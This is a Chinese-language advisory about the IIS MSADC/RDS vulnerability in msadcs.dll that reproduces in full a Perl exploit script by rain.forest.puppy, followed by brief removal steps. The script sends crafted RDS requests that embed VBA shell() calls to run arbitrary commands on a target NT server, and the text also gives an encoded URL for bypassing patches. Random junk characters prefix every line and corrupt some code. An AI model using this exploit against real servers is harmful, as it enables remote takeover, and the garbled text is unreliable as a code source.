IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W^dRA xVX 3G-f+HN^E 涉及程序：
0/ ?=FM > Microsoft NT server
'K3%@,O {m 5R=22^ 描述：
3Tr}t.mt 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,:"c" KPs
@v@5M 详细：
M@O<b- 如果你没有时间读详细内容的话，就删除:
T
eBJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
S3_QO L 有关的安全问题就没有了。
u^&,~n@n7 5b%zp x0Y 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0 +"P 1 / \}NZ] l 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
=s[P =d U 关于利用ODBC远程漏洞的描述，请参看:
{$^Lb4O[V /R)(u@jk http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vA , tW, "AMsBvzgo 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
bL18G(5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp & ?B\(? * )J!=X`b 这里不再论述。
407;M%?'A T|lyjX$Q]9 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
h*? /[XY t^@4n&Dg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
0Kenyn4 ? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
%TRH,-@3h n"Q fW~ U %#b+ =J #将下面这段保存为txt文件，然后: "perl -x 文件名"
^tFgkzXm `PvGfmYOl #!perl
T1pMe{ #
}8&L?B;90 # MSADC/RDS 'usage' (aka exploit) script
vxx7aP jC #
' C|yUsBC # by rain.forest.puppy
h5R5FzY0& #
H1g"09?h6o # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
U0%m*i # beta test and find errors!
0q Mf6 OgB ZoTT use Socket; use Getopt::Std;
p(Bn! getopts("e:vd:h:XR", \%args);
|p{FSS ?$FvE4!n print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
B|n<{g[-cM /-jk_8@a if (!defined $args{h} && !defined $args{R}) {
h` $2/%? print qq~
Km lpB Usage: msadc.pl -h <host> { -d <delay> -X -v }
\m;"KyP+ -h <host> = host you want to scan (ip or domain)
xT1{ O ` -d <seconds> = delay between calls, default 1 second
80qe5WC.2u -X = dump Index Server path table, if available
kVb8 $Sp -v = verbose
4>x v7 -e = external dictionary file for step 5
#3act )m -QUvd1S40 Or a -R will resume a command session
[XP3 _w> 9Z>PR ~; exit;}
cYMlc wS Q!dNJQpb $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"Hw%@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1ssEJ; # s if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
r)SwV!b if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/R44x\nhr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_K"X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Dx<CO1%z- 1p9+c~4l: if (!defined $args{R}){ $ret = &has_msadc;
}];_u g*
" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
="*8ja-K O;*.dR print "Please type the NT commandline you want to run (cmd /c assumed):\n"
p%6j2;D . "cmd /c ";
t'0dyQ%u $in=<STDIN>; chomp $in;
`[5QouPV $command="cmd /c " . $in ;
7T3ub3\ +#! !
'XP if (defined $args{R}) {&load; exit;}
5=--+8[ bV N2 ^B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;{Kx$Yt+ &try_btcustmr;
i%)Nn^a;T K q0!.455 print "\nStep 2: Trying to make our own DSN...";
c 0%%X!!$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
W!BIz&SY:- &% \`Lwh print "\nStep 3: Trying known DSNs...";
"*E%?MG &known_dsn;
`?ijKZ}y5 \kGi5G] print "\nStep 4: Trying known .mdbs...";
@n##.th &known_mdb;
/h MD
Me s) vHLf4 T if (defined $args{e}){
6M `N| % print "\nStep 5: Trying dictionary of DSN names...";
Q+\?gU] &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8Dq;QH} 0FV?By print "Sorry Charley...maybe next time?\n";
%CP:rAd`M. exit;
\VX~'pkrd/ w&7-:."1i ##############################################################################
8f<[Bu ze 058+_ xX sub sendraw { # ripped and modded from whisker
Gq/f|43}@O sleep($delay); # it's a DoS on the server! At least on mine...
O0gLu1*1v my ($pstr)=@_;
iZ3%'~K<3J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
MMfcY
3#% die("Socket problems\n");
oZV=vg5Dq if(connect(S,pack "SnA4x8",2,80,$target)){
=wW3 Tr7~ select(S); $|=1;
{rG`Upp print $pstr; my @in=<S>;
[J|)DUjt select(STDOUT); close(S);
@{Q[M3l return @in;
u9*}@{, } else { die("Can't connect...\n"); }}
v@0lTl_ 0/."R ; ##############################################################################
;_l Eu" - j:9kJq>mv sub make_header { # make the HTTP request
}'KVi=qnHb my $msadc=<<EOT
|QvG;{! POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{zc<:^r^ User-Agent: ACTIVEDATA
e:Zc - Host: $ip
_ s]= g Content-Length: $clen
0NB6S&lI^k Connection: Keep-Alive
>k?/'R ~_Tm S9 ADCClientVersion:01.06
?N,'1I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
38%xB<Y E Cx_
[|3{ --!ADM!ROX!YOUR!WORLD!
Dm j^aFB0| Content-Type: application/x-varg
F-) lRGw Content-Length: $reqlen
< }3c%Q1 L$GhM!c EOT
yVyh'd:Ik ; $msadc=~s/\n/\r\n/g;
M[ (mH(j return $msadc;}
,H Ex9*E/s {P_~_5o_ ##############################################################################
>69+e+|I $Wy7z^ t sub make_req { # make the RDS request
an 3"y6.8 my ($switch, $p1, $p2)=@_;
NW`.RGLI< my $req=""; my $t1, $t2, $query, $dsn;
x P.B,1\X ,x?H]a) if ($switch==1){ # this is the btcustmr.mdb query
{g2cm'hD $query="Select * from Customers where City=" . make_shell();
IPU'M*|Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
.-;K$'YG $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6}.B2f9 Ds$8$1=L=k elsif ($switch==2){ # this is general make table query
Hut
au ^l $query="create table AZZ (B int, C varchar(10))";
u:pdY'`"# $dsn="$p1";}
" - 4V48ci 66?!"w elsif ($switch==3){ # this is general exploit table query
8=!M0i $query="select * from AZZ where C=" . make_shell();
?=]`X=g 6 $dsn="$p1";}
k[l+~5ix ,# 1ke elsif ($switch==4){ # attempt to hork file info from index server
WYQJ +z5 $query="select path from scope()";
J<Wz3}w6 $dsn="Provider=MSIDXS;";}
aXyu%<@k EOrWax@k$} elsif ($switch==5){ # bad query
~(tZW $query="select";
K h9 $ $dsn="$p1";}
:z%vNKy1 &+-ZXN $t1= make_unicode($query);
S<f&?\wK=v $t2= make_unicode($dsn);
w~EXO;L2 $req = "\x02\x00\x03\x00";
J'4{+Q_pa $req.= "\x08\x00" . pack ("S1", length($t1));
}(AUe5aw`G $req.= "\x00\x00" . $t1 ;
>w jWX{&? $req.= "\x08\x00" . pack ("S1", length($t2));
aTs5^Kh') $req.= "\x00\x00" . $t2 ;
f- pt8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:< =!v5 SK return $req;}
0K 'lr;
< JHU* Z ##############################################################################
V; 1r o$m64l sub make_shell { # this makes the shell() statement
p#O#M N* return "'|shell(\"$command\")|'";}
O+1 e
/I
##############################################################################
^>uzMR!q5 pv T V* sub make_unicode { # quick little function to convert to unicode
#lQbMuR my ($in)=@_; my $out;
}$V]00
X for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
5j`"@C5;O return $out;}
l/yLSGjM k0? 4vA ##############################################################################
_Kx
/z L1 `^~m| sub rdo_success { # checks for RDO return success (this is kludge)
0/<}.Z] my (@in) = @_; my $base=content_start(@in);
[kzcsJ '/e if($in[$base]=~/multipart\/mixed/){
cD8.rRyD return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q{ !lLka return 0;}
M}}9 MQ2gzKw> ##############################################################################
N10'./c K geWis(#J sub make_dsn { # this makes a DSN for us
2GcQh]ohc my @drives=("c","d","e","f");
]Ole#Lz}Q print "\nMaking DSN: ";
/`0*!sN*5 foreach $drive (@drives) {
a=k+:=%y print "$drive: ";
XZuJ<]}X, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
a=gT GG"9 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
z-uJ+SA . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
zzuDI_,/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
1j6Z SE/*| return 0 if $2 eq "404"; # not found/doesn't exist
<\ ?ySto if($2 eq "200") {
$Ha?:jSc foreach $line (@results) {
gE JmMh return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
m:/@DZ } return 0;}
" j3Yu4_ks '/SMqmi ##############################################################################
SxC$EQ gL D TN @b! sub verify_exists {
LLg ']9 my ($page)=@_;
TclZdk]%T my @results=sendraw("GET $page HTTP/1.0\n\n");
g8mVjM\B; return $results[0];}
>DQl&:-)t ~*Ve>4 ##############################################################################
HGB96,o f9 4XQ v sub try_btcustmr {
M9]O!{ sq my @drives=("c","d","e","f");
g GN [AqR my @dirs=("winnt","winnt35","winnt351","win","windows");
WW@/q`h E@"+w,x) foreach $dir (@dirs) {
AZorz Q]s print "$dir -> "; # fun status so you can see progress
u~Q0V J~ foreach $drive (@drives) {
B8Jev\_ print "$drive: "; # ditto
' rHkJ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Iqe4O~) $reqlenlen=length( "$reqlen" );
A2 Rr*e $clen= 206 + $reqlenlen + $reqlen;
b0x9} 2j H` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Tx0/3^\>8A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
uwQ{ y>SG else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!li Q;R& }Q`Kg8L ##############################################################################
;f[Ki$7 !y' LKze+G sub odbc_error {
0 '~Jr\4 my (@in)=@_; my $base;
6=9 0 wu3 my $base = content_start(@in);
] s s0~2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
sL~TV([6/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f `p`c* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FM0)/6I'x $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/`D]m? return $in[$base+4].$in[$base+5].$in[$base+6];}
iYHD:cg)~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=bZ>>-< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
fV
Ah</aZ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
e<l Wel DM! vB+j+, ##############################################################################
N+b" L Zc :doP66["! sub verbose {
sBu=@8R]y my ($in)=@_;
=i Rc & return if !$verbose;
X82 sw>Y print STDOUT "\n$in\n";}
"X>Z!> 0+; .T1? ##############################################################################
/81Ux@,(e `9s5 *;Z sub save {
B y6: my ($p1, $p2, $p3, $p4)=@_;
9HRYk13ae open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_,NL;66=[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
W*u Yb|0 close OUT;}
9 X@y*;w<t ]Tf.KUm ##############################################################################
d'kQE_y2. tu6c!o ,@ sub load {
^g~Asz5] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&y mfA{s open(IN,"<rds.save") || die("Couldn't open rds.save\n");
C:_!zY'z @p=<IN>; close(IN);
%xyt4}-)m $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
aoc o'BR F $target= inet_aton($ip) || die("inet_aton problems");
_z)G!_7.>\ print "Resuming to $ip ...";
|`U^+Nf $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
!?Z}b.%W if($p[1]==1) {
,78 QLh9: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
' >`?T}a, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+T
[0r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5X|=qZ if (rdo_success(@results)){print "Success!\n";}
I^[R]Js else { print "failed\n"; verbose(odbc_error(@results));}}
/o.wCy,J< elsif ($p[1]==3){
E[Tz%x=P if(run_query("$p[3]")){
Z%N{Y x( print "Success!\n";} else { print "failed\n"; }}
G!8O*4 +A elsif ($p[1]==4){
IpoZ6 DB$ if(run_query($drvst . "$p[3]")){
WsL*P .J print "Success!\n"; } else { print "failed\n"; }}
d&w g\"E exit;}
O=MO M MQD UJ^I$ ##############################################################################
>VE,/?71@ G! zV=p sub create_table {
#v=hi L my ($in)=@_;
] "q)X{G(+ $reqlen=length( make_req(2,$in,"") ) - 28;
Q68&CO(rE $reqlenlen=length( "$reqlen" );
@mNf(& $clen= 206 + $reqlenlen + $reqlen;
/.aZXC$] my @results=sendraw(make_header() . make_req(2,$in,""));
+AtZltM i return 1 if rdo_success(@results);
a_L& *%; my $temp= odbc_error(@results); verbose($temp);
f&js,NU" return 1 if $temp=~/Table 'AZZ' already exists/;
1G =1FGvP return 0;}
^%)'wDK H-n k\ K<| ##############################################################################
<) uUAh ;B^G< sub known_dsn {
7cK#fh"hvg # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]N:SB my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&%>l9~F'~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
37v! :xF! "banner", "banners", "ads", "ADCDemo", "ADCTest");
gJ+MoAM" AVOzx00U foreach $dSn (@dsns) {
Ii?<L z print ".";
& *B@qQ next if (!is_access("DSN=$dSn"));
AG x]srl if(create_table("DSN=$dSn")){
8,a&i:C print "$dSn successful\n";
9<.FwV > if(run_query("DSN=$dSn")){
7F>5<Gv:- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}C}~)qaZv+ print "Something's borked. Use verbose next time\n";}}} print "\n";}
,1Suq\
L (NFq/w% ##############################################################################
q<@f3[A 6U @3
xU` sub is_access {
zKx?cEpE my ($in)=@_;
<[Q#}/$" $reqlen=length( make_req(5,$in,"") ) - 28;
(VO)
Q $reqlenlen=length( "$reqlen" );
r'7;: $clen= 206 + $reqlenlen + $reqlen;
q^JJ5{36e my @results=sendraw(make_header() . make_req(5,$in,""));
%Fa/82:- " my $temp= odbc_error(@results);
R N5\, >+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
.YYiUA-i9n return 0;}
PM=Q\ 0 yXh=~:1~ ##############################################################################
(i.MxG Dd 5H6m{ng sub run_query {
0F1 a my ($in)=@_;
drBWo|/ $reqlen=length( make_req(3,$in,"") ) - 28;
5 4JZEc $reqlenlen=length( "$reqlen" );
lV?rC z $clen= 206 + $reqlenlen + $reqlen;
W% YJ.%I my @results=sendraw(make_header() . make_req(3,$in,""));
zQ (li9 return 1 if rdo_success(@results);
AZ(["kh[ my $temp= odbc_error(@results); verbose($temp);
);kO2 7dg return 0;}
aG%KiJ7KEN ~x)Awdlu ##############################################################################
QjWv? tm 7Wmk"gp sub known_mdb {
z[M LMf[c my @drives=("c","d","e","f","g");
.6z#o{n my @dirs=("winnt","winnt35","winnt351","win","windows");
czi$&(N0w$ my $dir, $drive, $mdb;
%ErL L@e my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-n?|,cO qx18A # this is sparse, because I don't know of many
8+k\0fmy my @sysmdbs=( "\\catroot\\icatalog.mdb",
MSUkCWt! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(Q o "\\system32\\certmdb.mdb",
C;0H _ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
4rO07)~l #|v\UJ:Pf/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8Focs p2
"\\cfusion\\cfapps\\forums\\forums_.mdb",
)TP 1i "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>to NGGU=~ "\\cfusion\\cfapps\\security\\realm_.mdb",
[< }:b>a "\\cfusion\\cfapps\\security\\data\\realm.mdb",
x>A(016:C "\\cfusion\\database\\cfexamples.mdb",
/1zi(z
"\\cfusion\\database\\cfsnippets.mdb",
.5 p"o- :D "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
MH. ,dB& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
R 3TdQ6j "\\cfusion\\brighttiger\\database\\cleam.mdb",
7Y&W^]UZ0t "\\cfusion\\database\\smpolicy.mdb",
r,(rWptf4 "\\cfusion\\database\cypress.mdb",
T\:Vu{| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
rZLTai}`>
"\\website\\cgi-win\\dbsample.mdb",
|_&vW \ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
v,bes[Ik "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
w,SOvbAxX2 ); #these are just
` {c %d foreach $drive (@drives) {
=5 l7{i*` foreach $dir (@dirs){
EoD;'+d foreach $mdb (@sysmdbs) {
#~ ^#%G print ".";
y#F( xm+L if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
g>12!2} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#(j'?|2o% if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
- K0>^2hh print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
jut Eb@nog } else { print "Something's borked. Use verbose next time\n"; }}}}}
c/DB"_}!a 0.'$U}#b foreach $drive (@drives) {
z2vrV?: foreach $mdb (@mdbs) {
` Xc~'zG print ".";
8L`J](y if(create_table($drv . $drive . $dir . $mdb)){
ts`c_hH,1' print "\n" . $drive . $dir . $mdb . " successful\n";
{f((x1{HZx if(run_query($drv . $drive . $dir . $mdb)){
^q-]."W]t~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
q(p]6Ha| } else { print "Something's borked. Use verbose next time\n"; }}}}
H5'/i; }
'h53:?~ z|^:1ov , ##############################################################################
3,DUT{2 :aI[
lZ sub hork_idx {
w! ,~#hbt6 print "\nAttempting to dump Index Server tables...\n";
}b)7gd= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
&m& Z^CA $reqlen=length( make_req(4,"","") ) - 28;
`wj<d>m $reqlenlen=length( "$reqlen" );
KC9_H> $clen= 206 + $reqlenlen + $reqlen;
2a'b}<|[( my @results=sendraw2(make_header() . make_req(4,"",""));
5Mf bO3 if (rdo_success(@results)){
5 ,cq-` my $max=@results; my $c; my %d;
y!&6"l$K] for($c=19; $c<$max; $c++){
.aV#W@iyK $results[$c]=~s/\x00//g;
qF C0$:z& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x o k8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H phvsre< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0 "o% =i; $d{"$1$2"}="";}
w[}5qAI5*f foreach $c (keys %d){ print "$c\n"; }
Jte: U*2 } else {print "Index server doesn't seem to be installed.\n"; }}
LG0+A}E=C a'u:1C^\ ##############################################################################
C ?JcCD2 XZde}zUWn sub dsn_dict {
piIj
t open(IN, "<$args{e}") || die("Can't open external dictionary\n");
VRQ'sn@ while(<IN>){
:c[iS~ ~Y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
\CNv,HUm3 next if (!is_access("DSN=$dSn"));
%$}aWzQxll if(create_table("DSN=$dSn")){
A:Pp;9wl print "$dSn successful\n";
#\3(rzQVO if(run_query("DSN=$dSn")){
8;K'77h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A.vWGBR print "Something's borked. Use verbose next time\n";}}}
}c|)i,bL print "\n"; close(IN);}
21Mr2-#z *Wdn P.'Y ##############################################################################
qIIc>By(\" g\^7 Q sub sendraw2 { # ripped and modded from whisker
"i0{E!,XL sleep($delay); # it's a DoS on the server! At least on mine...
, 7-@eZ my ($pstr)=@_;
r #hA kOw socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OZ##x die("Socket problems\n");
,'w9@A if(connect(S,pack "SnA4x8",2,80,$target)){
%ub\ + ~ print "Connected. Getting data";
f|Dq#(^\ open(OUT,">raw.out"); my @in;
HjCc fOej select(S); $|=1; print $pstr;
8WU_d`DF while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
V|[Y 9<* close(OUT); select(STDOUT); close(S); return @in;
m%au* 0p } else { die("Can't connect...\n"); }}
"=8= G qM%l ##############################################################################
{WJ9!pA!lk x.W93e[]H sub content_start { # this will take in the server headers
;U$Fz~rJ my (@in)=@_; my $c;
4+46z| for ($c=1;$c<500;$c++) {
n1n->l*HGP if($in[$c] =~/^\x0d\x0a/){
?=$=c8xw if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(j hD O7 else { return $c+1; }}}
Jd#g"a>zZ return -1;} # it should never get here actually
zv/o wK Y,0D+sO4 ##############################################################################
K@d, 8 [ %Y!31oC# sub funky {
|h Gi8 my (@in)=@_; my $error=odbc_error(@in);
kD1[6cJ!=. if($error=~/ADO could not find the specified provider/){
+9Vp<( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
)~@iM.}S2 exit;}
)2vk aR if($error=~/A Handler is required/){
p+6L qk< print "\nServer has custom handler filters (they most likely are patched)\n";
P(h[QAM exit;}
^}V x5[ if($error=~/specified Handler has denied Access/){
e+416
~X
v print "\nServer has custom handler filters (they most likely are patched)\n";
X'[93
C|K exit;}}
s X_6qKUH
a(cZ]`s]* ##############################################################################
JSO'. [N Ujb7uho sub has_msadc {
luLt~A 3H$ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ew.a*[W'' my $base=content_start(@results);
=?9z6= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
fu
0]BdM return 0;}
!.\- l2f {jV EstP ########################
j\SvfZ0" \ct7~!qM ;F3#AO4( 解决方案：
.] gY{_|x 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
En&`m 2、移除web 目录: /msadc
